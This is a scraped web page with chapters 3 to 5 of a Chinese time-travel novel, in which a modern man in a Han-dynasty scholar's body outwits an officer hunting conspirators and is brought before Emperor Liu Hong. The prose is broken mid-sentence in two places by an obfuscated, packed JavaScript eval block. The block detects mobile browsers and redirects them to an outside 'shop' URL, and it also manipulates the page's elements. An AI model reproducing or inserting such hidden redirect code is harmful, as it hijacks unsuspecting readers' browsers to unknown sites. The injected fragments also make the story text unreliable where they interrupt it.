《[三国]穿成名士之后》 3. 第三章 琅琅之声传入耳中,让冯方有片刻的恍惚。 他分明是奉了天子的命令,过来抓人的。可边谌的话,竟让他动摇了片刻,不由分说地生出一种“自己既粗鲁又无理”的错觉。 再看其他人,各个衣容得体,端坐笔直,愈加显得他这个突然闯入的大老粗……格外地煞风景。 冯方短暂地驻足,手指微抖,将沾满血迹的长剑收入鞘中。 他拧着眉,虽觉得眼前的一切与他想象的有所出入,但也没有完全放下戒心。 “指教称不上,本将军今日来此,唯有一个目的——捉捕逆贼。” 说完这句话,冯方再次看向众人。 所有人都面无表情地坐着,对他刚才的话毫无反应。 连着两次威吓落空的冯方,终于开始怀疑自己获得的情报是否准确。 这些聚在小屋子里的人,真的在密谋造反吗? 他再次将视线转向最先开口的年轻人。 无他,只因对方的样貌着实出众,哪怕坐在众多容貌俊朗、气质卓然的名士之间,也尤为显眼。 “你是何人?” 冯方倒是想往执掌冀州的王芬身上猜,可年龄对不上。 边谌哪知道自己穿的是哪个角色,他只通过王芬等人的谈话,知道原主跟他一样姓边,被称作“记室”,旁的一概不知。 “我是何人并不重要,重要的是将军今日的来意。” 边谌取过木案上的青铜盏,以极慢的速度转动,像是在欣赏杯盏内壁的花纹, “将军既然是来‘捉捕逆贼’,直接捉了便是,为何要一而再、再而三地‘宣告’?若是打草惊蛇,惊走了逆贼,那该如何是好?” 王芬等人并不似冯方想的那般临危不惧,他们只是被边谌坐下前的淡定渲染,强迫自己放空了神色,心中仍然慌乱不已。 此刻,听到边谌不咸不淡的询问,众人心中皆是一震。 是啊,如果冯方手中已经有了他们谋逆的证据,何必两次宣告自己的来意,直接进屋,把他们绑了不就行了? 王芬能做到一州之长的位子,绝非愚笨之人。 他听到边谌那段先发制人、坦坦荡荡的询问,当即神色一肃: “王某不才,好歹也是冀州的刺史。将军不问缘由,不出示敕书,就带着兵马,擅闯州郡长官的私宅,杀了州府内的诸多护卫——可有把朝纲、汉律放在眼里?” 冯方就是为了让王芬等人丧胆,在惊慌之中漏出破绽,方才来此一招。 没想到甫一照面,就被对面冷静的年轻人抓住关窍,轻描淡写地化解了他的诈唬之计。 冯方脸上挂不住,却只能顺水推舟,认了自己的冒犯: “使君言重。非常之时,当行非常之事。” 他并未褪下鞋履,单手压着佩剑,踏入屋内,走到几人身前。 想起身下压着的血迹,莽汉只觉得如坐针毡,难掩紧张地咽了口唾沫。 这动作极其细微,但还是被眼尖的冯方捕捉到了。 冯方顺势停在莽汉身侧,猛然转头,态度再次强硬了几分。 “今日之事,我自会入京,向圣上请罪。” 说着,他看向随他一同进屋的卫兵。 “搜。” 简短的一个字,听得王芬等人心神难定。 冯方就站在附近,凉恻恻地盯着几人。 小小一间居室,被翻了个底朝天。 竹箧倾倒,壁衣被划破,矮塌与桌案也被搬开。 士兵在屋里搜罗了半天,别说证物,连耗子都没捉到半只。 冯方皱眉,拿起漆案上的青铜盏,一股极淡的腥气涌入鼻腔:“这是何物?” 王芬等人的心再度提到嗓子眼。 他们谨慎地觑向边谌,却见边谌神色如常,更似有几分走神。 听到王芬的询问,他坐姿未变,仰头而视,清亮的眸中闪过几分惊讶: “将军竟不知这是何物?” 简简单单的一句话,却让冯方生出一股被人轻视,仿佛沦为乡野村夫的不适感。 冯方不由恼道:“这是青铜盏,本将岂会不知?” 边谌笑道:“既如此,将军何故多问?” 冯方只觉得好似有什么灵光,随着刚才短暂的怒意,被忘到了脑后。 他知道自己不该再和这个士人进行无意义的拉扯,偏头看向身边紧张得不成样的莽汉,盯着他愈来愈白,好似刷了一层米糊的脸色。 “你抖什么?” 原本微不可查的发抖,顿时变作了肉眼可见的颤栗。 莽汉心知自己漏了怯,唯恐死期将近,一个劲地想着开脱之语。 他以为边谌会继续兜底,为他打圆场,可他等了小半刻,都没等到边谌那道悠扬平和的声线。 眼见冯方不耐地按住剑柄,莽汉闭了闭眼,一滴汗水从他的鼻翼划下: “我……我身子不适。” 王芬唯恐被冯方看出异常,当即出声“送客”: “冯将军,你也看到了,我这屋子狭小,藏不了人。你想捉拿的逆贼,恐怕不在我这座破屋子里。将军还是赶紧去附近寻一寻,以免误了事,让贼子跑了。” 冯方脸色一沉。他想不管不顾地拿下几人,却又因着心中的顾虑,迟迟没有下令。 最终,扶着剑柄的手缓缓松开,冯方大步走向门外,摇晃的剑身敲在细密的盔甲上,渐去渐远。 望着冯方离去的背影,王芬等人悄悄舒了口气,坐在最西边的莽汉更是举起袖子擦拭鼻翼的汗水,一副劫后余生的模样。 边谌收紧袖中的手,心中有一种预感,这件事还没有结束。 果不其然,在冯方即将跨过门槛,离开室内的前一刻,他突然停住脚步。 “房中……为何有血腥之气?” 哪怕誓书已被兽血浸染,提前藏好,在听到这句话的瞬间,王芬几人还是抑制不住地变了神色。 甲片摩挲的响动骤起,冯方转身折返,右手再次握住佩剑。 他停在大惊失色的莽汉面前,压眉冷喝:“起身!” 莽汉浑身发颤,却是稳稳地坐在原位,不愿挪开。 冯方多年来在洛阳横行,可没有那么好的耐心。 他当即命令左膀右臂的两人,把莽汉架到一旁,低头看向底下的座位。 半新半旧的草席上,叠着几片看不清面貌的缣帛,缣帛上晕开大片血迹,殷红刺目,尚未干涸。 “这便是你们百般伪饰,想要私藏的东西?” 冯方眉毛倒竖,拾起那些缣帛,还未来得及开口,就听到身后传来熟悉的,悠悠的声嗓。 “那是痔血,将军可要小心,莫要沾上了。” 刚直起身的冯方差点闪了腰。他像是被黄蜂叮了一口,当即甩开那些染血的缣帛,脸色比真正痔疮发作的病人还要差。 “牝痔?” 牝痔是古代对某种出血性痔疮的称谓,缣帛上这些略显鲜艳的红,的确与痔疮出血颇为相似。 边谌面色平和,状若友善地“提醒”完冯方,清冽的目光转向莽汉,带着告诫与警示。 莽汉虽然遇事犯怂,到底也不是个迟钝的。 作为盟誓道具的兽血经过特殊处理,难以凝固。他刚才坐下的时候,臀部的衣料结结实实地和兽血接触,此刻与这些缣帛一样,一片狼藉。 莽汉作势一个踉跄,故意侧身,以一个恰当的角度,将身后的狼藉展露给冯方与士兵们看。 他掩着面,悲愤道:“某虽不才,好歹是冀州的游徼,将军何故如此羞辱于我!” 冯方:“……” 他放眼望去,竟真的在莽汉身后的某处衣料上看到一团血迹,登时脸色铁青,宛若便秘。 自他进门的那一刻起,房内几人就多次目光交接、神色躲闪,分明是胆虚意怯,心中有鬼的表现。 他确信房中一定藏了不可告人的秘密。而这个秘密,即使不是谋反的铁证,也能让他抓住冀州刺史的把柄,借机捞一点好处,这一趟就不算白来。 哪知道,让这些名士极力掩盖的“秘密”,竟然是牝痔? 想起那物件的丑陋样貌,冯方喉中一堵,阵阵作呕。 他可以毫无顾忌地擅闯私宅,恣意妄为地搜查,可难道……他能为了一个无法确定的猜测,命令州府的官员脱下衣袴,就为了检查对方是否长了痔疮? 要是让别人知道这件事,他这个助军右校尉还要不要脸了? 冯方急匆匆地抱拳:“得罪了。” 他不肯去碰那些染血的缣帛,只让副将过去检查。 副将忍着恶心感,快速地检查了两遍,朝冯方摇头。 冯方心中不甘,又让边谌等人起身,检查他们身下的草席。 没有任何发现。 被架到高台上的冯方心中着恼,干脆撕开脸皮,不顾王芬这位刺史的冷喝,挨个询问边谌等人的身份、来意;找不出纰漏,又命令士兵们一一搜身,不放过任何一处能藏物的地方,俱一无所获。 想到自己差点把谋反的帛书藏在身上,王芬就忍不住一阵后怕。 为了掩饰恐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177196|196912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惧,他做出一副被冒犯的模样,对着冯方瞠目,声色俱厉: “冯校尉,我乃陛下亲自任命的冀州刺史,你敢这般辱我!” 哪怕撕破脸皮也没找到实质性证据的冯方沉着脸,脸色与王芬一样,难看至极。 那几张染血的缣帛倒是十分可疑,可他又怎么能凭借自己的猜测,把“痔疮血”这种秽物传到御前? 别说让天子过目了,就算是据实汇报,也只会污了天子的耳朵,惹来天子的不快。 冯方咬着牙,右手蓦然按上剑柄,已是动了杀心。 边谌皱眉。他看出冯方已经有了杀人灭口、颠倒黑白的心思,当即上前一步。 “冯将军,莫非是为了捉捕黄巾余部而来?” 经过刚才的一番折腾,大家都知道冯方的目标是谁,此刻忽然提起不相干的黄巾军,似有些突兀。 然而,站在正中央,已动了杀心的冯方,却是瞳孔一缩,倏然停下拔剑的举动。 汉灵帝刘宏费尽心力,不惜下放权利,中止党锢,拿出私库中的银钱犒赏士兵,重新任用得罪自己的士人,才勉强压制住黄巾军的动乱,稳住中央朝廷的最后一口气。 自那时起,不止皇帝刘宏稍稍收敛了喜恶不定的脾性,就连恣意妄为的权宦,也不敢在局势未定的情况下,将士人们逼得太狠。 如今,这个年轻士人特意提起黄巾余部,并不是为了给他冯方找个台阶,而是在直截了当、毫不遮掩地警告他。 ——距离初定黄巾,免赋冀州,慰养饥民才过了几年的时间。如今,黄巾余部还在各处起义,将军你真的要大动干戈,在没有任何实质性证据的前提下,枉杀冀州刺史与冀州的官吏,兴起新一轮的“党锢之祸”吗? 望着边谌冷静得惊人,似在耐心等待自己回复,认真聆听的面庞,冯方几度握紧了剑柄,又几度松开。 ——他当然不能。 那不止会引来冀州的动荡,平民的恐慌,士人的震怒,更会引来帝王的不悦与猜忌。 习惯与老丈人曹节一同诬陷政敌,做惯了伪证的冯方,明白现下早已今非昔比,顿时收拢了理智,冷汗涔涔地放下杀心。 他的靠山已死,行事更应当谨慎一些。 说白了,边谌、王芬这些人跟他并没有深仇大恨,他为什么要死抓着那一个疑点不放,把自己也带进危险之中呢? 想通了利弊,冯方当即把“抓不到把柄与好处”的恼怒抛到身后,也不管王芬先前的那句质问,只冷哼了一声,示意亲信松开王芬。 见冯方的态度有所缓和,众人心中一松,知道此次的危机已过了大半。 王芬心中有鬼,自然不敢再行质问。但他担心被冯方看出胆怯,仍维持着惊怒未定的模样。 另一侧,边谌从容而立,屋内的所有纷争,都似与他无关。 他轻裘缓带地站在冯方身前,不慌不惧,不卑不亢,任谁看了都会赞一句“名士气度”,可实际上,他的内心已经微微死了。 边谌当前只有一个想法。 如果他有罪,请把他关在图书馆背《四库全书》,而不是送到未知的乱世,让他扮演一个随时会露馅的名士,还是刚刚参与谋反的那种。 边谌自闭了片刻,注意到不远处的视线,他微抬眼,正对上冯方的审视。 袖中的手收紧了一瞬,又蓦地松开。边谌放空大脑,抿着唇,不让自己露出分毫异样。 冯方定定地看了边谌许久,见他神色“冷然”,唇角好似弯着一丝“讥意”,冯方不适地皱眉,率先移开目光。 再对上王芬时,冯方的脸上少了些许轻慢,多了几分郑重。 “刺史见谅。不久前,天子收到密报,说‘冀州有变,刺史府全员参与谋逆’,天子震怒,让我前来一探究竟。” 王芬闻言,既惊且怒:“一派胡言!” 刺史府内,他只和边谌、许攸等四人密谋废立,哪来的“全员参与”? 到底是谁,这般诬陷于他,不仅坏了他的好事,还差点让他被冯方抓个正着,几度落入必死的险境? 王芬的这一震怒,太过真情实感,反倒让冯方对他的清白更信了几分。 “来此之前,我已搜了一遍刺史府,未发现任何异常,” 见王芬瞪大眼,又要动怒,冯方话语未停,当场接了后半句话, “本将自然相信王刺史乃朝中忠良,非谋逆之人。” 冯方故意露出为难的神色,从怀中掏出一封敕书。 “天子有令,命冀州刺史王芬,冀州记室边谌,即刻进宫面圣。” 4. 第四章 这话一出,不但王芬的脸霎时变绿,就连边谌的神色也蓦然一滞。 边是罕见的姓氏,而“记室”这个官职,正是王芬等人对自己的称谓。 排除微乎其微的巧合因素,这个官至冀州记室,又和自己同名的“边谌”,应当就是这具躯壳的身份。 在冀州官员被人检举谋反的时候,与长官王芬一同应召入京,其中寓意的危险,不言而喻。 本就已经微死的边谌,感觉自己又多死了几分。 但他习惯了放空思绪,此刻脸上的神色仍然平淡如初。 这也让不时关注他的冯方,愈加觉得此人“城府深重”。 通过众人方才一瞬间的反应与目光流转,显然,这个年轻士人就是天子点名要见的“边谌”。 来这之前,冯方已让人调查了边谌的身份。他知道边谌出自陈留郡边氏家族,刚过弱冠之年,知书善文,与胞弟边让一样,以辩才、文辞成名,被并称为“边氏双才”。 可即便知道了边谌的来历,冯方仍想不通刘宏为什么要特地点名,让边谌进京。 王芬是冀州刺史,一州的长官,边谌不过是州府一个小小的记室。哪怕盛名在外,又在皇帝喜爱的辞赋上颇有造诣,一个只有二十岁,刚入官场的年轻人,如何能绕过别驾、从事史等身负要职的州府官员,得此“殊荣”? 困惑了几天的冯方,经过今天这事,倒是生出了一些猜想。 此人不过是区区一个记室,百石小官,却能在刚才那种情况下隐隐为首,代替王芬交涉,自始自终从容泰然、处变不惊。光这应对的本领与临危不惧的心性,这个叫边谌的年轻士人,就绝对不是等闲的人物。 如果边谌能听见冯方的这段心声,他估计会满头都是黑人问号。 一个不小心就会被人发现谋逆的真相,身边都是不靠谱的盟友,随时都会露馅,他能不强迫自己冷静,努力控场吗? 然而边谌此刻听不到冯方的心声,无从吐槽。他扫视着身边的几个“盟友”,查探他们的神色。 且不提脸色难看,仿佛随时会岔气的王芬。至少,许攸等人在听到冯方的话后,虽然忧惧万分,却也纷纷在心中松了口气。 哪怕事泄,只要没有当场被捕,他们就有逃亡的机会。等冯方一走,他们装病的装病,辞官的辞官,总能避过风头。 至于王刺史与边记室……只能让他们自求多福了。 几人都以为今日的危机到此为止,哪曾想,一直盯着他们的冯方突然转了话锋: “这几位与王刺史相交莫逆,想来对刺史的事多有了解。不如一同进京,向圣上汇报。” 边谌可算是看出来了,这个叫冯方的校尉总喜欢在说话的时候大喘气,转几个大弯,像逗弄老鼠一样,试探、戏耍他们几人。 果不其然,当这句话落下,心理素质最差的莽汉当即表情一扭,一张大脸像是撒上了盐巴,又白又苦。 “这怎么行,我们与刺史可没有关系……” 眼见莽汉急着撇清自己,在他说出满是破绽的话之前,边谌先一步打断: “这三人不过是信都县的下官,并非是州府的官员,让他们进京,怕是不妥。” 这话表面上贬损许攸等人品级太低,没资格见皇帝,实际上是在找理由把许攸三人踢出面圣的名单。 边谌当然不愿意许攸三人与自己同行。 被带去京城的人越多,越容易露馅。这一群人本就各怀鬼胎,心理素质又算不上绝佳,都不需要逼供,只用一个“囚徒困境”,就能让他们相互猜忌,互相检举。 其他人暂且不提,只说这个莽汉,真不愧一个莽字,性子冲动,还藏不住事,只怕走到半路,就能哭哭啼啼地,一个人全招了。 边谌特地让莽汉坐在血迹上,就是为了帮这个脑袋空空的家伙遮掩,避免连累自己。可不能再让这人同行,给他拖后腿。 为了自保,边谌只能先声夺人,提前将莽汉三人摘出,避免自己落入被动的局面。 但在莽汉、许攸几人眼中,边谌这样的行为更像是“保护”,像是在想方设法地为他们脱险。 许攸眼中露出显而易见的意外,莽汉扈缤与透明已久的周旌怔愣许久,神色动容。 尤其是莽汉,脸上的表情几度变化,竟露出了些许懊恼、惭愧之色。 边谌顿了顿,猜到这三人约莫是误解了,把他当成了舍己为人、孤身下地狱的大英雄。 只是现在并非解释的好时机,这种事也没有解释的必要,索性闭口不言,只当自己没看到。 冯方的表情也很意外。 他左看右看,端详了半晌。等确认边谌字字发自真心,不曾作伪,冯方脸上多了几分古怪。 他半嘲弄,半玩味地道:“到底是备受称赞,享一时盛誉的名士,果然是良善之辈。” 虚情假意地赞了两句,冯方看向王芬,笑中带刺, “王刺史,你怎么看?” 他能怎么看?他还能怎么看? 边谌要把其他人摘出去,他难道还能将人拖回泥潭不成? 王芬心乱如麻,既惊怒,又暴乱。 他却只能压下芜思,勉强接过边谌的话:“正如边记室所说,既然天子点了我二人进京,还是不要牵扯他人为妙。” 以冯方多年浸染官场的本事,自然能看出王芬的违心。 他按下嘴角的讥诮,抹去眼中的轻蔑。 再看旁边自始自终都坦然镇定、冷静自持的边谌,冯方心中不免生出几分可惜。 这人年纪轻轻,倒是不同寻常。 只可惜,他卷入了谋反的风波中。以当今天子的脾气,但凡找到一星半点的端倪,等待他的,都只有死路一条。 冯方结束心中的感叹,看似客气地请边谌与王芬出门。 两端守着顶盔掼甲的士兵,各个持着环首刀,一部分警惕地盯着他们的行动,另一部分警惕地开路,不让任何人靠近。 边谌二人坐上冯方备好的马车,车轮轱辘向前,不停歇地走了三天。 冯方作为皇帝的心腹,名义上“请”两人入京,但他的实际行动与“请”字没有任何关联。 他一个劲地赶路,命令车夫把马车的速度提到极限,紧紧跟着策马疾驰的骑兵。 过快的速度让车轮踉跄地滚过不甚平整的道路,左右摇摆、颠簸摇曳,几次低空飞起,又重重落下。 木轮发出不堪重负的声响,吱呀低吟。边谌抓着马车的横木,只当自己是在坐过山车。 他一度怀疑马车会被震得散架,然而,三天时间过去,马车还坚固如初。倒是他身旁的王芬捂着腿骨,面庞铁青,已是忍无可忍的模样。 出于人道主义,也出于一损俱损的谨慎,边谌关切地开口: “刺史,可还安好?” 王芬摆了摆手,本想闭眸小憩,但因为马车过于颠簸,他只能睁开眼,隐着怒气,沉沉地盯着远处的冯方。 借着车轮发出的声响,王芬瞥了前方赶车的士兵一眼,小声地与边谌交谈。 有辚辚马车声作遮掩,王芬只觉得满腔都是不吐不快的烦躁,竟壮着胆子说起谋逆之事。 “我们行事隐蔽,还未开始行动,宫中是怎么知道的?” 王芬说得极小声,几乎被车轮滚动的动静覆盖。如果不是边谌耳力惊人,还真的听不清他在说什么。 又听王芬咬牙切齿地给出结论, “刘宏与洛阳的朝臣又没有未卜先知的本事,定是有人告密!” 边谌听出他的言下之意。 被王芬联系过,知道他计划的总共就那么几个,除了在场的他们,就只剩曹操、陶丘洪和华歆。这三人中,只有曹操明确拒绝了王芬,还写了驳斥的回信。 王芬……这是在怀疑曹操? “陶子林与华子鱼都不是多事的性子,只有这个曹操……” 猜中始末的边谌没有应声。 他不觉得这事是曹操泄的密。 倒不是边谌对曹操的品德过于信任。基于史实的了解,边谌不认为曹操会做这种意义不大,又对他本人没有任何好处的事。 更大的可能,是王芬在行动中不慎走漏了风声,又或者,像《后汉书》中写的那样,京中确实有个“高人”,提前识破了他的阴谋。 为了不进一步刺激这位州长的小心脏,让对方像之前那样失了理智,边谌没有发表任何见解,只让王芬尽情倾诉,随意发泄。 反正,说不说是王芬的事,他大不了“左耳进,右耳出”。 很快,王芬又开始新一轮的抱怨。 这一回,被王芬埋怨的是边谌。 “边记室倒是做了一回好人,让许子远等人脱离险境。若许子远他们也在,好歹能多一些商量。” 通过短暂的接触,边谌早已明了王芬的心性。为了避免他又做出什么偏激的举措,边谌敛目肃容,沉声解释: “使君既然怀疑有人从中告密,定能明白一个道理:此等悖逆之事,多一个人,便多一分风险。我相信使君的应变能力与气节,但不信其他人。我让许攸等人离开,并非出自仗义,而是自保之举。只要天子找不着证据,你我二人不露怯,碍于局面,他未必能将我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177197|196912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如何。” 王芬能做到一州的刺史之位,对时局的认知远胜于常人。 他听明白边谌的用意,知道边谌的选择是出于理智上的考虑,是为了替两人的处境排除风险,王芬不免露出愧怍羞惭之色。 “是我浅薄,竟误解边郎之意。” 边谌微不可查地摇头,还想再说两句,稳住王芬的心态。忽而,眼角余光敏锐地捕捉到异动,遏止未出口的话语。 远处,冯方打马逆行,扬着沙尘来到马车北侧。 “行军仓促,怕天子久侯,不得不一路疾行,倒是让二位受累了。” 冯方说得客气,但他态度敷衍,神色轻慢,没有半分抱歉的模样,把王芬气得不轻。 他没有理会王河豚,将视线与话题转到边谌的身上。 “记室倒是高风亮节,难得的好心肠。” 边谌不愿搭话。 不管对方是不是还存着试探的心思,他边谌都只是一个半路穿来的假货。哪怕被迫卷入谋逆的队伍,他也知道多说多错的道理。 先前在小破屋的应对,已经掏空了他毕生的心理学知识与二十年的脑细胞,现在,他只想一个人静静。 于是,边谌无视了冯方,顺从本心地闭眼,安然养神。 哪怕被人无视了个彻底,冯方也仍然策着马,不远不近地跟在马车旁侧。 王芬索性也学着边谌闭眼,哪怕觉得自己一把老骨头都快被颠散了,也绝不在冯方面前吭一句声。 一路无言。 十日后,疾驰的军队终于抵达洛阳。 故意用最快速度赶路,变相折腾“逆贼”的冯方先一步下马。 冯方这一路策马疾行,极限赶趟,并不比马车上的人轻松多少。他早已疲惫至极,浑身不得劲,腿部因为长时间策马疾行而磨破,动一动都犯疼。 反倒是坐了一路“过山车”的边谌面不改色地下车,完全看不出半点不适的模样。 对边谌而言,逼到极限的马车速度远赶不上赛车的时速,马车颠簸带来的刺激也远不如空中飞人、大摆荡等游乐项目。除了坐车坐得太久,颠得全身酸疼外,没有多余的不适。 而这点酸疼,在“颠一些总比坐出血栓要好”的利弊衡量中,已被他抛到脑后,完全没有放在心上。 冯方看着边谌这副神清气定、不似逞强的模样,再次生出片刻的恍惚。 如果不是有旁边脸色发青、行动艰难的王芬做对比,冯方只怕会更加怀疑人生,觉得自己“疾行施压,瓦解其心防”的行为愚蠢至极。 这一次,冯方没再进行任何虚假的客套,黑着脸,把军队留在开阳门外,只带着一支亲卫,挟着边谌二人入城。 步行,过南宫,来到宫道。 在北宫的朱雀门前,他们迎面遇上一人。 那人穿着皂衣,戴着介帻,身形颀长而瘦削,虽在这森严的宫廷行走,神态间却夹着几分疏散。 宫道宽敞,那名穿着皂衣的年轻男子瞧见冯方等人,远远地转了道,让出了正中的位置,却是优哉游哉,慢悠悠地继续走。 见这人没有戴冠,腰间又无印绶,冯方掩去眼中的轻蔑,低语了一句: “什么时候,连没有品级的小吏都能随意进出北宫了?” 边谌原本想着心中的事,没有过多地将注意力分给突然出现的陌生人。听到冯方的话,下意识地抬眸,看向不远处。 不远处,穿着皂衣、神色浅淡的年轻男子亦随意抬眸,寒鸦般乌黑的眼眸转向众人,最终落在边谌的身上。 两人意外地对上视线,一触即离。 年轻人没有理会冯方的轻视,步伐未停,沿着青石铺成的宫道继续向前,即将踏着余晖离开宫门。 秋风乍起,凉风吹得衣袍猎猎作响。 几许寒气入侵,顺着鼓起的衣袖蔓延而上,边谌忽然感到喉口传来一丝痒意,忍不住轻咳。 不远处传来同样的低咳声,与他的咳声缠在一处。 边谌以袖掩口,看向一同咳嗽的另一人。 穿着皂衣的年轻人停在北宫的门内,亦是微讶地瞥了他一眼。 冯方听着前后同时传来的咳嗽声,不悦地蹙眉,命令卫兵加快脚步。 边谌收回目光,随着卫兵一路深入,来到德阳殿。 略作洗濯,端正仪容后面圣。 在即将踏入德阳殿的前一刻,一块竹片忽然从门内丢出,正巧落在边谌与王芬的脚边。 低头一看。 竹片正面朝上,用殷红的朱砂写了七个大字。 ——腰斩弃市,夷三族。 5. 第五章 这七个字配上红得刺眼的颜色,落在丹墀上,看得人心中一跳,无名寒气接连不断地上涌。 边谌脚步微顿,暗道不好,上前半步,隔在王芬与冯方中间。 身后的王芬本就被折腾了一路,时刻因为谋逆败露这件事而忧心,此刻冷不丁地看到竹片上的“血”字,差点被吓破了胆。 边谌站在王芬身前,借着颀长的身型挡住王芬的面容。 对上同样停住脚步,转身回首的冯方,边谌神色未变,只在眼中加了一分询问的意味。 “将军为何止步?” 冯方定定地看着他,半晌,什么话都没说,回过头,继续领路。 身后传来细弱的颤音。 “边记室,你我恐怕……” “王刺史。”边谌闪过身,恰到好处地截断王芬的未尽之语, “当心门槛。” 简简单单的一句提醒,让王芬打了个寒颤,恢复少许冷静。 “……多谢。” 整理衣冠,褪去鞋履,入殿,卷着芬芳的暖气迎面而来。 椒泥的香气与博山铜炉中的桂兰香气缠绕在一处,遮掩了殿中的药味。 绀青色的帷幔随风摆荡,两座青铜九枝灯分立两旁,与楹柱并立,似在为他们领路,通往生死未卜的深处。 隐隐绰绰的嬉闹声从前方传来,宫人掀起帷幔,被重重纱帐遮掩的大殿终于露出它的真实样貌。 大殿的最中央,一个高挑瘦弱的男子披着黼纹赤色长袍,头上戴着镶有十二玉璂的皮弁,正坐在一张胡床上,为身穿胡服、手持胡笳的舞伶抚掌协奏。 天子掌四方三才,御十二之命数。显然,眼前这个皮弁上饰着十二颗玉璂,与胡物为伴的男子就是皇帝刘宏。 边谌匆匆瞥了一眼,收回目光,敛袖而立。 作为领路人,冯方却不敢上前。他停在一丈外,俯身行礼。 “陛下,人已带来了。” 像是害怕打扰刘宏的雅兴,冯方的声音压得极低,语气也格外迟滞、谨慎。 刘宏不曾抬头,潋滟瞳光倒映着前方的胡姬,含着笑,合掌打拍,好似并未听到冯方的禀报。 冯方看向十常侍之一的赵忠。赵忠穿着胡服,抱着鸡娄鼓,不时地敲击,配合着刘宏的节律,同样没有给予眼神。 冯方没有再开口,安静地站在一旁,充当不会说话的听众。 能主事的几个人都当了哑巴,边谌与王芬这两个“逆贼”预备役自然不能在这个时候出声。 伴着靡靡乐音,刘宏哼着不成形的曲调,已然乐在其中。 他就这么把边谌几人晾着,当他们不存在。 刘宏真的沉迷舞乐,没有听到冯方的禀报吗? 边谌并不这么认为。 那块“腰斩弃市,夷三族”的竹片,出现得恰到好处,绝不是什么从天而降的巧合。 一曲终了,胡姬行礼退下。 刘宏清了清嗓子,赵忠连忙解下鸡娄鼓的系带,小跑着到一旁,又是取水,又是倾倒玉壶,细细兑了一杯温蜜饮,奉给皇帝。 “还是赵阿姆熨帖,”刘宏接过蜜水润口,似在随意感慨, “若无阿姆,朕真不知该如何起居。” 赵忠束着手,谦恭地站着,丝毫没有因为皇帝给他取了个女性化的称号而忸怩。 “臣惶恐。为君解忧,是臣分内之事。” 赵忠的两眼直勾勾地对着前方,并未转向冯方几人,可他解下来的话语,直指中心, “某些人,深受陛下的器重,却不知感恩戴德,竟还妄行废立,意欲谋反,实在可恨。” 这话几乎明晃晃地往边谌与王芬的脸上戳,毫不遮掩。 王芬双腿一颤,几乎要跪伏于地。 若单单只是被指“谋逆”倒也罢了,他可以死咬着不认。但……赵忠怎么会知道“妄行废立”这件事? 难道他们真的得到了证据!? 边谌不用转头,就知道王芬现在是什么状态。 谋逆的利剑时刻悬在头顶,十余日的赶路让王芬身心俱疲。他本就成了脆弱的惊弓之鸟,“夷三族”的竹片与刚才的那句话,更是压垮骆驼的最后一根稻草。 哪怕一路上边谌多次开解王芬,也不能更改他的脾性与承受力。 众目睽睽之下,边谌没法再做提点,只能沉着眉眼,绷着后背,耐心等待。 “谋逆之人,自当‘腰斩弃市,夷三族’。” 刘宏放下玉盏,缓缓起身,往边谌二人的方向走来,“王刺史,朕说得可对?” 被点名的王芬脸色煞白,双目发眩,几近昏厥。 “爱卿这是怎么了?”刘宏放缓脚步,在距离王芬十步的地方停下,盛着水波的眼中笑意岑岑,却达不到眼底, “脸色这么难看,莫非是身子不适?” 赵忠抬眼,冷冷接话:“身子不适?怕不是‘心里有鬼’吧。” 这句“心里有鬼”切中王芬的要害,让他虚浮的脚步彻底失去支撑,即将倾倒。 边谌疾走两步,扶住王芬:“陛下见谅。刺史年老力衰,路上和马车一同飞奔,骨头都快颠散了。又在外头晒了好一阵子,晒得七窍生烟。他之所以留着一口气,硬撑着进谏,就是为了见陛下一面,陈述冤情。还请陛下明鉴。” 这话说得有理有据,却又用词夸张,一下便引走了刘宏等人的心神。 众人看向边谌。 刘宏的视线在边谌脸上停留了片刻,语气转缓:“你就是边谌?” “回陛下,正是。” “总算见着了边家的大才。”刘宏恢复融融的笑意,“朕钟爱你的赋才。去岁做的那一篇,朕昨日看过,恢弘壮丽、见地独到,无怪乎你年纪轻轻,就有了如此才名。” 边谌:…… 向来镇静无波的面庞,微不可查地龟裂了一瞬。 救命……皇帝的下一句,该不会是什么“今天天气正好,不如你即兴创作一篇,让朕掌掌眼”吧? 吸氧.gif。 别说即兴写赋了,就连中学时代背诵的名作,他也早就还给了语文老师,拿什么来写赋啊? 万幸的是,刘宏并没有在“辞赋”这个话题上停留太久。 他压下眉峰,目光漠然地掠过王芬。 “刺史这一路辛苦了。” 王芬抑止急促的呼吸,躬身行礼:“臣不敢。” 有边谌帮忙解围,王芬勉力恢复冷静。 心神不定间,他再次听到帝王那轻悠悠的话语。 “来人,为王刺史送一盏柘浆。” 柘浆,即甘蔗汁。作为南方的产物,柘浆在洛阳是珍贵的奢侈品。 皇帝这看似体贴的行为,反倒给王芬增加了更多压力。 “臣……多谢圣恩。” 边谌不知道皇帝的想法,但他可以确定一点。 皇帝没有当场把他们拉出去砍头,就是还未找到证据,且心有顾虑,不愿滥杀名士。 既然如此,现在就还不是害怕的时候。恐惧,反而会让人做出错误的选择。 被几双眼睛盯着,边谌无法提示王芬,只能祈祷王芬挺住这一轮心里施压,再从长计议。 “边记室,听闻你有一个胞弟,与你同岁,同样擅长文辩与辞赋,如今在大将军帐下就职?” 边谌正凝思对策,话题又转到他的身上。 他的心不可抑制地一沉。 